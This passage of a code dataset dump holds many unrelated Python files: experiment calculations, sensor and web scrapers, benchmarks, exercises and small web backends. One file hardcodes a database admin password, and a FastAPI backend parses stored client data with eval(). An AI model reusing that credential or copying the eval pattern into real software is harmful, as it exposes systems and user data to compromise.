R_min and W_min\n\n # in db we store at least two rows with same step_id\n # lets load them for every point in _todays_search_table and find mean Q value\n # also we will bubble search point with maximum of mean Q-value\n min_g_point = None\n max_f_point = None\n error_points = list()\n num_of_table_points = 0\n for point in _search_table:\n try:\n comm_str = \"select * from exp_data where date(end_time) = date('{}')\" \\\n \" and exp_id={} and step_id={} and is_finished=0;\".format(\n d, _exp_id, point['number'])\n # print(comm_str)\n cur.execute(comm_str)\n rows = cur.fetchall()\n\n # lets get mean sum of q_val for that two rows\n q1 = rows[0]['q_val']\n q2 = rows[1]['q_val']\n\n mean_q = (q1 + q2) / 2\n\n f1 = rows[0]['f_val']\n f2 = rows[1]['f_val']\n\n mean_f = (f1 + f2) / 2\n\n # add that value to point as new key-value pair\n point.update({'mean_q': mean_q})\n point.update({'mean_f': mean_f})\n\n if not min_g_point:\n # if it is first iteration - set first point as min\n min_g_point = point\n else:\n # compare values of current point and max point\n if point['mean_q'] < min_g_point['mean_q']:\n min_g_point = point\n\n if not max_f_point:\n # if it is first iteration - set first point as min\n max_f_point = point\n else:\n # compare values of current point and max point\n if point['mean_f'] > max_f_point['mean_f']:\n max_f_point = point\n\n num_of_table_points += 1\n except Exception as e:\n exc_info = sys.exc_info()\n err_list = traceback.format_exception(*exc_info)\n print(\"\\n ERROR, point: {} \\n calculation failed: {} \\n\".format(point, err_list))\n error_points.append(point)\n\n min_g_point.update({'date': d})\n max_f_point.update({'date': d})\n sweet_print(\"we have calculated {} search table lines from 16\".format(num_of_table_points))\n\n count_command = \"select count(*) from exp_data where date(end_time)\" \\\n \" = date('{}') and exp_id={};\".format(d, exp_id)\n cur.execute(count_command)\n rows = cur.fetchall()\n num_of_all_points = rows[0]['count(*)']\n sweet_print(\"num of problems in search table {} from 16 \".format(len(error_points)))\n sweet_print(\"full number of day {} stored points is {}, must be about 32 \".format(d, num_of_all_points))\n sweet_print(\"min g point is : {}\".format(min_g_point))\n # print(\"\\n min f point is : {} \\n\".format(max_f_point))\n\n r_min = min_g_point['red']\n w_min = min_g_point['white']\n\n # print(\"final search table:\")\n # for p in _search_table:\n # print(p)\n\n continue_ = str(raw_input(\"would you like to add this day to calculation? y or n: \"))\n if continue_ == 'y':\n\n # second - calculation of control E_mean (in ppfd) final value for each day\n command = \"select * from exp_data where date(end_time) = \" \\\n \"date('{}') and exp_id={};\".format(d, _exp_id)\n cur.execute(command)\n rows = cur.fetchall()\n\n num_of_search_points = len(rows)\n num_of_stable_points = 96 - num_of_search_points\n # 96 is a number of 15-mins intervals in 24 hours\n sweet_print(\"in day {} we got {} search points and {} stable points\".format(\n d, num_of_search_points, num_of_stable_points))\n\n reds = [a[\"red\"] for a in rows ]\n whites = [a[\"white\"] for a in rows]\n\n E_search_summ = 0\n\n for (r, w) in zip(reds, whites):\n E_search_summ += red_far_by_curr(r, \"exp\", h_led_exp) + \\\n white_far_by_curr(w, \"exp\", h_led_exp)\n\n E_search_mean = E_search_summ/96\n E_stable_summ = red_far_by_curr(r_min, \"exp\", h_led_exp) + \\\n white_far_by_curr(w_min, \"exp\", h_led_exp)\n E_stable_mean = E_stable_summ * num_of_stable_points / 96\n sweet_print(\"in day {} we got E_search_summ = {} E_search_mean = {} and E_stable_mean = {}\"\n .format(d, E_search_summ, E_search_mean, E_stable_mean))\n sweet_print(\"r_min_stable = {}, w_min_stable = {}\".format(r_min, w_min))\n\n E_final_exp = E_search_mean + E_stable_mean\n\n sweet_print(\"in day {} we got E_final_mean = {}\"\n .format(d, E_final_exp))\n\n E_mean_days.append(E_final_exp)\n\n print(\"\\n ===========================================================\")\n print(\"final values calculation\")\n # finally - calculation of control G final values for control and experiment\n E_control = red_far_by_curr(R_control, \"control\", h_led_control) + \\\n white_far_by_curr(W_control, \"control\", h_led_control)\n\n sweet_print(\"E_mean_values_for all days is: \\n {}\".format(E_mean_days))\n sweet_print(\"final E_control = {} ppfd, E_exp = {} ppfd\".format(\n E_control, np.mean(E_mean_days)))\n\n G_control_fin = final_intQ(E_control, dM_control, mode=\"control\")\n G_exp_fin = final_intQ(np.mean(E_mean_days), dM_exp, mode=\"exp\")\n\n sweet_print(\"G_control_fin = {} , G_exp_fin = {}\".format(G_control_fin, G_exp_fin))\n\n result = (G_control_fin - G_exp_fin) / G_control_fin * 100\n sweet_print(\"Global result (Gc - Ge)/Gc * 100% = {} %\".format(result))\n\n\n con.close()\n\n\nif __name__ == \"__main__\":\n\n search_table = [\n {\"number\": 1, \"red\": 130, \"white\": 130, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 2, \"red\": 70, \"white\": 190, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 3, \"red\": 190, \"white\": 70, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 4, \"red\": 40, \"white\": 160, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 5, \"red\": 160, \"white\": 40, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 6, \"red\": 100, \"white\": 100, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 7, \"red\": 220, \"white\": 220, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 8, \"red\": 25, \"white\": 235, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 9, \"red\": 145, \"white\": 115, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 10, \"red\": 85, \"white\": 55, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 11, \"red\": 205, \"white\": 175, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 12, \"red\": 55, \"white\": 85, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 13, \"red\": 175, \"white\": 205, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 14, \"red\": 115, \"white\": 145, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 15, \"red\": 235, \"white\": 25, \"finished\": 0, 'f': 0, 'q': 0},\n {\"number\": 16, \"red\": 17, \"white\": 138, \"finished\": 0, 'f': 0, 'q': 0}\n ]\n\n exp_id = 9\n\n db = {\n \"host\": '10.9.0.23',\n \"user\": 'remote_admin',\n \"db\": 'experiment',\n \"password\": \"amstraLLa78x[$\"\n }\n\n calculate_final_effect(_db_params=db, _search_table=search_table,\n _exp_id=exp_id, dM_exp=149, dM_control=232,\n R_control=10, W_control=250, h_led_control=25, h_led_exp=25)\n\n","repo_name":"houseofbigseals/ros_farmer_pc","sub_path":"scripts/math_scripts/calculate_final.py","file_name":"calculate_final.py","file_ext":"py","file_size_in_byte":9134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70866478133","text":"from app import app\nfrom models import db, User\n\n# Create all tables\ndb.drop_all()\ndb.create_all()\n\n# If table isn't empty, empty it\nUser.query.delete()\n\n# Add new data\ndata_1 = User(first_name='joel', last_name=\"burton\", image_url=\"profile.jpg\")\ndata_2 = User(first_name='alan', last_name=\"alda\")\ndata_3 = User(first_name='jane', last_name=\"smith\")\n\n# Add new objects to session, so they'll persist\ndb.session.add(data_1)\ndb.session.add(data_2)\ndb.session.add(data_3)\n\n# Commit--otherwise, this never gets saved!\ndb.session.commit()\n","repo_name":"brianelizondo/python-sqlalchemy-intro","sub_path":"seed.py","file_name":"seed.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25223675701","text":"# Altere o programa anterior para mostrar no final a soma dos números.\n\nnum1 = int(input('Digite um número inteiro: \\n'))\nnum2 = int(input('Digite outro número iteiro: \\n'))\nsoma = 0\nprint('-'*30)\n\nif num1 > num2:\n for i in range(num2+1, num1):\n print(i)\n soma = soma + i\nelif num1 < num2:\n for i in range(num1+1, num2):\n print(i)\n soma = soma + i\nelse:\n print('Números iguais.')\n\nprint('-'*30)\nprint('A soma dos números entre o intervalo de {} e {} é {}.'.format(num1, num2, soma))","repo_name":"Isidroantonio/Exercicios-Python-","sub_path":"ex11.py","file_name":"ex11.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14312266447","text":"\"\"\"\nAuthor : Akshay Joshi\nGitHub : https://github.com/ijoshi90\nCreated on 11-Sep-19 at 20:26\n\"\"\"\n\nclass Computer:\n def __init__(self, computer, processor, ram):\n print (\"In __init__\")\n globals()['a'] = \"Akshay\"\n self.computer = computer\n self.processor = processor\n self.ram = ram\n\n def configuration(self):\n print (\"*** Configuration ***\")\n print(\"Type : {}\".format(self.computer))\n print(\"Processor : {}\".format(self.processor))\n print(\"RAM : {}\".format(self.ram))\n\ncom1 = Computer(\"Desktop\", \"i5\", \"1 x 8GB\")\ncom2 = Computer(\"Laptop\", \"i7\", \"1 x 8GB\")\n\ncom1.configuration()\nprint (\"A : {}\".format(a))\ncom2.configuration()","repo_name":"ijoshi90/Python","sub_path":"Python/init_method.py","file_name":"init_method.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71577469172","text":"import decoding_2d as dc2\nimport decoding_3d as dc3\nimport pickle as pkl\nimport numpy as np\nfrom multiprocessing import Process\nfrom timeit import default_timer as timer\n\ndef run_batch(err_lo, err_hi, n_points, dists, n_trials, flnm, sim_type='iidxz'):\n \"\"\"\n Makes a bunch of simulation objects and runs them, based on input\n parameters.\n \"\"\"\n sim_type = sim_type.lower()\n if sim_type not in ['iidxz', 'pq', 'circ']:\n raise ValueError(\"sim_type must be one of: ['iidxz', 'pq', 'circ']\")\n\n errs = np.linspace(err_lo, err_hi, n_points)\n output_dict = locals()\n\n for dist in dists:\n failures = []\n for err in errs:\n if sim_type == 'iidxz':\n current_sim = dc2.Sim2D(dist, dist, err)\n elif sim_type == 'pq':\n current_sim = dc3.Sim3D(dist, dist, ('pq', err, err))\n elif sim_type == 'circ':\n raise NotImplementedError(\"Coming Soon!\")\n\n current_sim.run(n_trials, progress=False)\n failures.append(current_sim.errors)\n output_dict.update({'failures ' + str(dist) : failures})\n\n with open(flnm, 'wb') as phil:\n pkl.dump(output_dict, phil)\n\n pass\n\n\ndef run_batch_par(err_lo, err_hi, n_points, dists, n_trials, flnm, sim_type, nThreads):\n jobs = []\n trialsPerThread = n_trials/nThreads\n\n for i in range(nThreads):\n fname = \"out\" + str(i) + \".dat\"\n p = Process(target=run_batch, args=(err_lo, err_hi, n_points, dists, trialsPerThread, fname, sim_type,))\n jobs.append(p)\n p.start()\n\n for p in jobs:\n p.join()\n\nif __name__ == '__main__':\n from sys import argv\n nThreads = 4\n n_trials = nThreads*16 # keep it a multiple of nThreads for now\n err_lo = 0.01\n err_hi = 0.03\n n_points = 30\n dists = [25]\n flnm = 'out.dat'\n sim_type = 'iidxz'\n\n # just for benchmarking/testing\n # comment for actual run\n print(\"Sequential execution ...\")\n start = timer()\n run_batch(err_lo, err_hi, n_points, dists, n_trials, flnm, sim_type)\n end = timer()\n seqtime = (end-start)\n print(\"Sequential execution took : {0} ms\".format(seqtime*1e3))\n\n print(\"Parallel execution ...\")\n start = timer()\n run_batch_par(err_lo, err_hi, n_points, dists, n_trials, flnm, sim_type, nThreads)\n end = timer()\n partime = (end-start)\n print(\"Parallel execution on {0} threads took {1} ms \".format(nThreads,partime*1e3) )\n","repo_name":"bcriger/sc_decoding","sub_path":"run_script_par.py","file_name":"run_script_par.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"38504281684","text":"from gpiozero import MotionSensor\nimport paho.mqtt.publish as publish\nimport os\n\n# publish a message then disconnect.\nhost = os.environ['MQTT_HOST']\ntopic = os.environ['MQTT_TOPIC']\npin = int(os.environ['PIN_INPUT'])\n\n#pir sensor\npir = MotionSensor(pin)\ncurren_status = 0\nlast_status = 0\n\nwhile True:\n curren_status = pir.motion_detected\n\n if curren_status and curren_status!=last_status:\n print(\"Motion detected!\")\n publish.single(topic, 1, qos=1, hostname=host)\n elif not curren_status and curren_status!=last_status:\n print(\"Nothing\")\n publish.single(topic, 0, qos=1, hostname=host)\n last_status = curren_status\n","repo_name":"WakeupTsai/docker-rpi-pir-mqtt","sub_path":"pir-mqtt/pir_mqtt.py","file_name":"pir_mqtt.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23129618805","text":"#!/usr/bin/env python3\n\nimport hashlib\nimport hmac\nimport timeit\n\nNUMBER_DIGESTS = 100000\n\nSECRET = \"This-is-my-super-duper-secret-key-12345#\"\n\ndef digest_loop(digestmod, data):\n the_hmac = hmac.new(SECRET.encode(), digestmod=digestmod)\n the_hmac.update(data)\n _digest = the_hmac.digest()\n\ndef digest_measurement(digestmod, digestmod_name, data_len):\n data = b'\\xab' * data_len\n measured_function = lambda: digest_loop(digestmod, data)\n time_in_secs = timeit.timeit(measured_function, number=NUMBER_DIGESTS)\n hashes_per_second = NUMBER_DIGESTS / time_in_secs\n usecs_per_hash = 1000000 / hashes_per_second\n print(\"{:12} {:12,} {:12,} {:12,}\".format(digestmod_name, data_len, int(hashes_per_second),\n int(usecs_per_hash)))\n\ndef experiment():\n print(\"{:12} {:12} {:12} {:12}\".format(\"Algo\", \"Data size\", \"Digests/sec\", \"Usec/digest\"))\n line = '-' * 12\n print(\"{:12} {:12} {:12} {:12}\".format(line, line, line, line))\n for data_len in [10, 100, 1500, 10000]:\n for digestmod, digestmod_name in [(hashlib.md5, \"MD-5\"),\n (hashlib.sha1, \"SHA-1\"),\n (hashlib.sha224, \"SHA-224\"),\n (hashlib.sha256, \"SHA-256\"),\n (hashlib.sha384, \"SHA-384\"),\n (hashlib.sha512, \"SHA-512\"),\n (hashlib.sha3_224, \"SHA3-224\"),\n (hashlib.sha3_256, \"SHA3-256\"),\n (hashlib.sha3_384, \"SHA3-384\"),\n (hashlib.sha3_512, \"SHA3-512\"),\n (hashlib.blake2b, \"BLAKE-2B\"),\n (hashlib.blake2s, \"BLAKE-2S\")]:\n digest_measurement(digestmod, digestmod_name, data_len)\n\nif __name__ == \"__main__\":\n experiment()\n","repo_name":"brunorijsman/python-hash-experiments","sub_path":"experiment.py","file_name":"experiment.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20034461839","text":"import scrapy\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom porcelain.items import jiadeItems\n\n\nbrowser = webdriver.Chrome()\n\n\nclass JiadeSpider(scrapy.Spider):\n name = 'jiade'\n allowed_domains = ['cguardian.com']\n start_urls = ['https://www.cguardian.com/Auctions/AuctionResult']\n\n def parse(self, response):\n try:\n browser.get(self.start_urls[0])\n all_url_count = int(browser.find_element_by_xpath(\n '//*[@id=\"app\"]/div/div[2]/div/div[3]/div[2]/div[12]/div/span/div/input'\n ).get_attribute('max'))\n for page in range(1, all_url_count):\n self.page_click(browser, page)\n for item in range(2, 12):\n be_re = f'//*[@id=\"app\"]/div/div[2]/div/div[3]/div[2]/div[{str(item)}]'\n be_item_click = browser.find_element_by_xpath(be_re)\n be_item_click.click()\n all_items_count = len(browser.find_elements_by_xpath('//div[@class=\"category-list-border\"]/div'))\n for i in range(1, all_items_count+1):\n be_item_re = be_re + f'/div[2]/div[{str(i)}]'\n self.item_click(browser, be_item_re)\n self.parse_data(browser)\n\n be_item_ocunt = int(browser.find_element_by_xpath('//*[@id=\"item-content\"]/div[2]/div/span/div/input').get_attribute('max'))\n for j in be_item_ocunt(1, be_item_ocunt+1):\n new_item_page = browser.find_element_by_xpath('//*[@id=\"item-content\"]/div[2]/div/span/div/input')\n new_item_page.clear()\n new_item_page.send_keys(j)\n new_item_page.send_keys(Keys.ENTER)\n self.parse_data(browser)\n browser.back()\n\n\n except Exception as e:\n print(e)\n\n\n def page_click(self, browser, page):\n page_click = browser.find_element_by_class_name('el-input__inner')\n page_click.clear()\n page_click.send_keys(page)\n page_click.send_keys(Keys.ENTER)\n\n def item_click(self, browser, be_item_re):\n item = browser.find_element_by_xpath(be_item_re)\n item.click()\n\n def parse_data(self, browser):\n pa_data = browser.find_elements_by_xpath('//*[@id=\"item-content\"]/div/div')\n for item in pa_data:\n item = item.text\n item_list = item.splitlines()\n if item_list is not None:\n jiadeItems['num'], jiadeItems['name'], jiadeItems['date'], jiadeItems['price'] = item_list\n\n\n\n\n\n","repo_name":"delcok/Scrapy_for_someone","sub_path":"porcelain/spiders/jiade.py","file_name":"jiade.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7173811248","text":"import dgl\nimport dgl.function as fn\nimport tensorflow as tf\n\nfrom core.policy_network import HeteroGraphPolicyNetwork\n\n\nclass Agent:\n def __init__(self):\n\n self.policy_network = HeteroGraphPolicyNetwork()\n\n\ndef _construct_segment_pair_auxillary_graph(original_graph, segment_pair):\n seg_a_pt0 = segment_pair[:, 0]\n seg_a_pt1 = segment_pair[:, 1]\n seg_b_pt0 = segment_pair[:, 2]\n seg_b_pt1 = segment_pair[:, 3]\n\n n_seg_pairs = segment_pair.shape[0]\n aux_join_pt0 = tf.range(0, n_seg_pairs, dtype=tf.int64)\n aux_join_pt1 = tf.range(n_seg_pairs, 2 * n_seg_pairs, dtype=tf.int64)\n aux_join_pairs = tf.range(0, n_seg_pairs, dtype=tf.int64)\n\n seg_inds, pt_inds = original_graph.edges(etype=\"segment_has_point\")\n aux_graph = dgl.heterograph(\n {\n (\"point\", \"in\", \"segment\"): (pt_inds, seg_inds),\n (\"point\", \"join\", \"aux_pt_pair\"): (\n tf.concat(\n [seg_a_pt0, seg_a_pt1, seg_b_pt0, seg_b_pt1], axis=0\n ),\n tf.concat(\n [aux_join_pt0, aux_join_pt1, aux_join_pt0, aux_join_pt1],\n axis=0,\n ),\n ),\n (\"aux_pt_pair\", \"join\", \"seg_pairs\"): (\n tf.concat([aux_join_pt0, aux_join_pt1], axis=0),\n tf.concat([aux_join_pairs, aux_join_pairs], axis=0),\n ),\n }\n ) # .long()\n aux_graph.edges[(\"point\", \"join\", \"aux_pt_pair\")].data[\n \"weight\"\n ] = tf.concat(\n [tf.ones(shape=(2 * n_seg_pairs)), -tf.ones(shape=(2 * n_seg_pairs))],\n axis=0,\n )\n return aux_graph\n\n\ndef _calculate_segment_pair_probabilities(aux_graph, point_logits):\n with aux_graph.local_scope():\n aux_graph.nodes[\"point\"].data[\"logit\"] = point_logits\n\n aux_graph.update_all(\n message_func=fn.u_mul_e(\"logit\", \"weight\", \"m\"),\n reduce_func=fn.sum(\"m\", \"pt_pair_logit\"),\n etype=(\"point\", \"join\", \"aux_pt_pair\"),\n )\n aux_graph.nodes[\"aux_pt_pair\"].data[\"pt_pair_logit\"] = tf.math.tanh(\n aux_graph.nodes[\"aux_pt_pair\"].data[\"pt_pair_logit\"]\n )\n aux_graph.update_all(\n message_func=fn.copy_u(\"pt_pair_logit\", \"m\"),\n reduce_func=fn.sum(\"m\", \"seg_pair_logit\"),\n etype=(\"aux_pt_pair\", \"join\", \"seg_pairs\"),\n )\n aux_graph.nodes[\"seg_pairs\"].data[\"seg_pair_logit\"] = -tf.math.abs(\n aux_graph.nodes[\"seg_pairs\"].data[\"seg_pair_logit\"]\n )\n probabilities = dgl.softmax_nodes(\n aux_graph, \"seg_pair_logit\", ntype=\"seg_pairs\"\n )\n return probabilities\n","repo_name":"JosephRRB/GFlowNets-on-2D-LCDT","sub_path":"core/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":2653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34086610355","text":"#!/usr/bin/python3\n\"\"\"\nPrints all 'City' objects from the database\n\"\"\"\nimport sys\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom model_city import City, Base\nfrom model_state import State\n\nif __name__ == \"__main__\":\n # Connect to the MySQL server\n engine = create_engine('mysql+mysqldb://{}:{}@localhost/{}'\n .format(sys.argv[1], sys.argv[2], sys.argv[3]),\n pool_pre_ping=True)\n Base.metadata.create_all(engine)\n\n # Create a Session object\n Session = sessionmaker(bind=engine)\n session = Session()\n\n # Query all City objects and join with the corresponding State object\n city_state_join = (\n session.query(City, State)\n .join(State, City.state_id == State.id)\n )\n\n # Sort the results by City ID in ascending order\n sorted_city_state_join = city_state_join.order_by(City.id.asc())\n\n # Iterate over the sorted City-State pairs\n for city, state in sorted_city_state_join:\n print(f\"{state.name}: ({city.id}) {city.name}\")\n\n # Close the Session\n session.close()\n","repo_name":"kibuchijw/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/14-model_city_fetch_by_state.py","file_name":"14-model_city_fetch_by_state.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36737871573","text":"#sum.py\n# A program that finds the sum of a number from 1 to 1000\n# using a for loop\n\ndef main():\n sum = 0\n n = 1000\n\n for number in range (n+1):\n sum = sum + number\n\n print(sum)\n\nmain()\n\n \n","repo_name":"Barryelias/lab1","sub_path":"sum.py","file_name":"sum.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72331078508","text":"from pico2d import *\n\nclass Mini_Map:\n\n TIME_PER_ACTION = 0.08\n ACTION_PER_TIME = 1.0 / TIME_PER_ACTION\n FRAMES_PER_ACTION = 8\n\n STAGE1, STAGE2 , STAGE3 , STAGE4 , RUN , STAND = 1, 2 , 3 , 4 , 5 , 6\n stage1_image = None\n stage2_image = None\n stage3_image = None\n stage4_image = None\n position_image = None\n\n def __init__(self):\n self.stage = Mini_Map.STAGE1\n if Mini_Map.stage1_image == None:\n Mini_Map.stage1_image = load_image(\"./image/map.png\")\n if Mini_Map.stage2_image == None:\n Mini_Map.stage2_image = load_image(\"./image/map2.png\")\n if Mini_Map.stage3_image == None:\n Mini_Map.stage3_image = load_image(\"./image/map3.png\")\n if Mini_Map.stage4_image == None:\n Mini_Map.stage4_image = load_image(\"./image/map4.png\")\n if Mini_Map.position_image == None:\n Mini_Map.position_image = load_image(\"./image/moving.png\")\n self.position_x = 120\n self.position_y = 320\n self.total_frames = 0.0\n self.state = Mini_Map.STAND\n self.speed = 0\n\n def update(self,frame_time,morale,ingame_time):\n def clamp(minimum, x, maximum):\n return max(minimum, min(x, maximum))\n self.total_frames += Mini_Map.FRAMES_PER_ACTION * Mini_Map.ACTION_PER_TIME * frame_time\n if self.state == Mini_Map.RUN:\n self.position_x += self.speed\n if self.position_x>=500:\n morale.state = morale.SUCCESS\n if ingame_time.run_time :\n ingame_time.stop()\n\n\n\n def draw(self):\n if self.stage==1:\n self.stage1_image.clip_draw(0,0,600,100,400,340)\n if self.stage==2:\n self.stage2_image.clip_draw(0,0,600,100,400,340)\n if self.stage==3:\n self.stage3_image.clip_draw(0,0,600,100,400,340)\n if self.stage==4:\n self.stage4_image.clip_draw(0,0,600,100,400,340)\n self.position_image.clip_draw(0,0,22,24,self.position_x,self.position_y)\n\n def handle_event(self, event, unit):\n\n if (event.type, event.key) == (SDL_KEYDOWN, SDLK_RIGHT):\n print(self.speed)\n self.state = Mini_Map.RUN\n if self.speed>=0:\n self.speed += Mini_Map.TIME_PER_ACTION\n elif (event.type, event.key) == (SDL_KEYDOWN, SDLK_z):\n if unit.state in (unit.STAND, unit.RUN):\n self.state = Mini_Map.STAND\n elif (event.type, event.key) == (SDL_KEYUP, SDLK_RIGHT):\n self.state = Mini_Map.STAND\n if self.speed>=Mini_Map.TIME_PER_ACTION:\n self.speed -= Mini_Map.TIME_PER_ACTION\n elif (event.type, event.key) == (SDL_KEYUP, SDLK_z):\n if unit.check_run:\n self.state = Mini_Map.RUN","repo_name":"GreeeeeShot/2dgp","sub_path":"project_ahead/mini_map.py","file_name":"mini_map.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37218090373","text":"#!/usr/bin/python\nfrom subprocess import check_output\nimport sys\nimport time\nimport os\n\n\ndef get_all_interface():\n output = check_output(\"sudo ip l\", shell=True)\n return output\n\n\ndef set_interface_up(name):\n while True:\n if name in get_all_interface():\n print(\"sudo ifup %s\" % name)\n os.system(\"sudo ifup %s\" % name)\n return\n time.sleep(1)\n\n\ndef main():\n for i in sys.argv[1:]:\n set_interface_up(i)\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"kjelly/kolla-ansible-docker","sub_path":"kolla-prepare/ifup.py","file_name":"ifup.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44102809061","text":"from fastapi import FastAPI, HTTPException\nfrom starlette.responses import HTMLResponse\nfrom os.path import join, dirname, exists\n\napp = FastAPI()\n\nFILE_PATH = join(dirname(__file__), 'client_forms.txt')\n\n\n@app.get(\"/\", response_class=HTMLResponse)\nasync def read_items():\n html_content = \"\"\"\n <html>\n <head>\n <title>Backend for Portfolio\n \n \n This is Backend for Portfolio website github/\n \n \n \"\"\"\n return HTMLResponse(content=html_content, status_code=200)\n\n\n@app.get('/client_form')\ndef test_func(name, email, phone=None):\n user = {\n \"name\": name,\n \"email\": email\n }\n\n if phone and len(phone) > 6:\n user[\"phone\"] = phone\n else:\n raise HTTPException(status_code=422, detail=\"Incorrect phone number\")\n\n with open(FILE_PATH, 'a') as f:\n f.write(str(user) + '\\n')\n\n return user\n\n\n@app.get('/all_client_form')\ndef all_client_form():\n users = []\n\n if exists(FILE_PATH):\n with open(FILE_PATH) as f:\n for line in f:\n users.append(eval(line.rstrip()))\n\n return users","repo_name":"AnlieJams/My-WebSite","sub_path":"My Web Site/server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74018532268","text":"'''\n39 - A importância de R$ 780.000,00 será dividida entre três ganhadores de um concurso.\nSendo que da quantia total.\n\n * O primeiro ganhador receberá 46%;\n * O segundo receberá 32%;\n * O terceiro receberá o restante;\n\n Calcule e imprima a quantia ganha por cada um dos ganhadores.\n'''\n\n# RESPOSTA\n\npremiação = 780.00000\nprimeiro = (46 / 100) * premiação\nsegundo = (32 / 100) * premiação\nterceiro = (22 / 100) * premiação\nprint(f'Primeiro {primeiro:.5f} \\nSegundo {segundo:.5f}'\n f' \\nTerceiro {terceiro:.5f}\\n')\ntotal = primeiro + segundo + terceiro\nprint(f'Total da premiação {total:.5f}')\n\n","repo_name":"Leownhart/My_Course_of_python","sub_path":"Geek University/Seção 4/Exercicios/EX39.py","file_name":"EX39.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20163514521","text":"import argparse\nimport csv\nimport requests\nimport json\nimport logging\n\nfrom pkg.net import EngageNet\n\n\"\"\"Python3 app to list all activities for a client and export the \n results as a CSV. Each line of the CSV is an action and contains\n the usual information that clients want to see.\"\"\"\n\ndef listActivityTypes(webToken):\n\t\"\"\"Return a list of valid activity types\n\n\tParameters:\n\t\twebToken \tEngage Web Developer API token\n\n\tErrors:\n\t\tHTTP errors are also noisily fatal.\n\t\tEngage-specific errors are also noisily fatal.\n\t\"\"\"\n\n\t# Parameters for EngageNet\n\tparams = {\n\t 'endpoint': 'api/developer/ext/v1/activities/types',\n\t 'host': 'api.salsalabs.org',\n\t 'token': webToken,\n\t 'method': 'GET',\n\t 'request': \"\"\n\t}\n\tnet = EngageNet(**params)\n\tr = net.run()\n\tp = r['payload']\n\tr = p['results']\n\tt = list((s['code'] for s in r))\n\treturn t\n\ndef listActivities(intToken, webToken, writer):\n\t\"\"\"Read a list of activity. Write typically useful information\n\t\tto a CSV file.\n\n\tParameters:\n\t\tintToken Engage Integration API token\n\t\twebToken\tEngage Web Developer API token\n\t\twriter\t\tCSV writer to receive output\n\n\tErrors:\n\t\tHTTP errors are also noisily fatal.\n\t\tEngage-specific errors are also noisily fatal.\n\t\"\"\"\n\n\tactivityTypes = listActivityTypes(webToken)\n\tif activityTypes == None:\n\t\tlogging.fatal('Error: could not retrieve activity type list')\n\t\texit(1)\n\n\tcolumns ='id,dateCreated,datePublished,status,visibility,type,name'.split(',')\n\twriter.writerow(columns)\n\n\tcount = 20\n\toffset = 0\n\twhile count > 0:\n\t\tqueries = {\n\t\t\t'formType': ','.join(activityTypes),\n\t\t\t'sortOrder': 'ASCENDING',\n\t\t\t'count': count,\n\t\t\t'offset': offset\n\t\t}\n\t\tparams = {\n\t\t 'endpoint': 'api/developer/ext/v1/activities',\n\t\t 'host': 'api.salsalabs.org',\n\t\t 'token': webToken,\n\t\t 'method': 'GET',\n\t\t 'request': queries\n\t\t}\n\t\tnet = EngageNet(**params)\n\t\tresponse = net.run()\n\n\t\tpayload = response['payload']\n\t\tcount = payload['count']\n\t\tif count == 0:\n\t\t\tcontinue\n\t\tresults = payload['results']\n\t\tfor r in results:\n\t\t\tif r['status'] == 'PUBLISHED':\n\t\t\t\tpublished = r['publishDate'][0:10]\n\t\t\telse:\n\t\t\t\tpublished = \"\"\n\t\t\trow = 